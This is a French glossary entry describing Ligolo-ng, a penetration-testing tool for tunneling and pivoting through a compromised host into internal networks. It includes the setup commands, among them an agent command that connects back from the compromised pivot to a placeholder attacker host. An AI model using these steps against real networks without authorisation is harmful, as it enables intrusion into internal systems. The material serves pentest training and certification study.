Ligolo-ng

Définition

Ligolo-ng est un outil moderne de tunneling et de pivoting pour les tests d'intrusion, écrit en Go, qui permet de créer une interface réseau virtuelle sur la machine de l'attaquant donnant un accès transparent aux réseaux internes via un agent déployé sur un système compromis. Il surpasse les solutions traditionnelles (proxychains + SOCKS) en termes de simplicité et de performance. L'architecture de Ligolo-ng est simple : un serveur (proxy) s'exécute sur la machine de l'attaquant et crée une interface réseau virtuelle (tun0), et un agent s'exécute sur le système pivot qui initie une connexion vers le serveur. Une fois la connexion établie et le tunnel activé, l'attaquant peut accéder directement aux hôtes du réseau interne du pivot comme s'il était directement connecté à ce réseau, sans configuration de proxychains ou de redirections port par port. Les avantages de Ligolo-ng par rapport aux solutions SOCKS : pas besoin de proxychains (les outils fonctionnent directement), support des protocoles non-TCP (ICMP pour ping, UDP pour scan Nmap UDP), performances meilleures grâce au routing kernel plutôt qu'au proxying en espace utilisateur, support du tunneling chiffré via TLS, et gestion multi-agents permettant d'orchestrer plusieurs pivots pour une traversée multi-segments. La configuration nécessite la création d'une interface tun sur la machine de l'attaquant (ip tuntap add user root mode tun ligolo), le démarrage du serveur Ligolo (./proxy -selfcert), puis le déploiement de l'agent sur le pivot (./agent -connect attaquant:11601 -ignore-cert). Une fois la session établie, la commande start dans le serveur Ligolo active le tunnel et l'ajout d'une route vers le réseau interne complète la configuration. Ligolo-ng est devenu rapidement populaire dans la communauté pentest pour les engagements multi-segments, les examens de certification (OSCP, CRTO) et les scénarios de red team complexes où la traversée de multiples réseaux est nécessaire.